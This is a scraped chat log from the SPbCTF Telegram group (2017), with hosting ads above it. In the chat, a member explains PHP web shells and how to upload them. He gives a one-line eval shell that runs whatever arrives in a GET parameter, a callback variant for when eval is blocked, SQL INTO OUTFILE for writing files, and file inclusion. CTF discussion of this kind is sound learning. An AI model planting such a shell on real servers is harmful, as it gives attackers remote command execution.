В рейтинге участвует:

групп:

каналов:

Виртуальный сервер на SSD - недорого!

Аренда выделенных и виртуальных серверов (VDS/VPS), хостинг, аренда IP-адресов, администрирование, круглосуточная поддержка

qwarta.ru подробнее

Резервное копирование с проверкой на вирусы!!!

Удобный сервис создания резервных копий на любой сервер сети интернет. Отслеживайте изменения, проверяйте на вирусы. Надежно защитите свой бизнес!

go.backupland.com

Выбираете сервер? Любая конфигурация на заказ!

Аренда физических серверов любых конфигураций под любые запросы - 1С бухгалтерия, игровые сервера, нагруженные проекты, интернет-магазины!

qwarta.ru подробнее

Size: a a a

SPbCTF

1627 membersпожаловаться на группу
2017 February 23

NT

Nikita Tikhomirov in SPbCTF
Смотря, какая уязвимость
источник
15:21пожаловаться#1

NT

Nikita Tikhomirov in SPbCTF
Есть много шеллов и способов заливки
источник
15:21пожаловаться#2

NT

Nikita Tikhomirov in SPbCTF
источник
15:21пожаловаться#3

DZ

Dmitriy Zyuzin in SPbCTF
Nikita Tikhomirov
Есть много шеллов и способов заливки
да хотя бы основные способы и шеллы)
источник
15:41пожаловаться#4

NT

Nikita Tikhomirov in SPbCTF
PHP?
источник
15:41пожаловаться#5

DZ

Dmitriy Zyuzin in SPbCTF
да
источник
15:41пожаловаться#6

NT

Nikita Tikhomirov in SPbCTF
Крейтим cmd.php
источник
15:41пожаловаться#7

NT

Nikita Tikhomirov in SPbCTF
в нем <?php eval(@$_GET['c']); ?>
источник
15:42пожаловаться#8

NT

Nikita Tikhomirov in SPbCTF
При запросе на cmd.php будет выполняться ?c=
источник
15:42пожаловаться#9

NT

Nikita Tikhomirov in SPbCTF
Но прикол в том
источник
15:42пожаловаться#10

NT

Nikita Tikhomirov in SPbCTF
Что многие блочат eval
источник
15:42пожаловаться#11

NT

Nikita Tikhomirov in SPbCTF
Им на замену могут придти функции с callback
источник
15:43пожаловаться#12

NT

Nikita Tikhomirov in SPbCTF
по типу preg_match_callback
источник
15:43пожаловаться#13

NT

Nikita Tikhomirov in SPbCTF
Где $callback = @$_GET['c']
источник
15:43пожаловаться#14

NT

Nikita Tikhomirov in SPbCTF
Насчет заливки есть несколько вариантов
источник
15:43пожаловаться#15

NT

Nikita Tikhomirov in SPbCTF
При SQL есть операнд OUTFILE
источник
15:43пожаловаться#16

NT

Nikita Tikhomirov in SPbCTF
То бишь INTO OUTFILE 'file_name'
источник
15:44пожаловаться#17

NT

Nikita Tikhomirov in SPbCTF
В PHP есть PHP-Inj
источник
15:44пожаловаться#18

NT

Nikita Tikhomirov in SPbCTF
Они 2ух типов локальные и удаленные
источник
15:45пожаловаться#19

NT

Nikita Tikhomirov in SPbCTF
Локальные - инклудят только локальные файлы, удаленные любые
источник
15:45пожаловаться#20